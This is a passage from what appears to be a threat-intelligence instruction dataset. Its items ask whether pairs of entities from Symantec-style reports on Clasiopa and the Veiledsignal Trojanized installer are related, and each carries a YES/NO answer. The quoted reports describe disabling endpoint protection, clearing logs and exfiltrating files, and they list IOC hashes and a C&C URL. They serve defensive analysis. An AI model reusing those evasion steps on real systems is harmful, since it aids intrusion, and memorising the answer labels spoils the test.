entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: SepMasterService\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Sysmon\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Domino\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: C&C\n### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: India\n### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Atharvan\n### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: C&C\n### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC&C\n### Target Entity: Atharvan\n### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_TRADER_r7.17.90p608.exe\n### Target Entity: Trojanized installer\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ntpmvscmgrsvr.exe\n### Target Entity: Windows NT 10.0\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndevobj.dll\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6\n### Target Entity: Trojanized installer\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43\n### Target Entity: Trojanized installer\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows 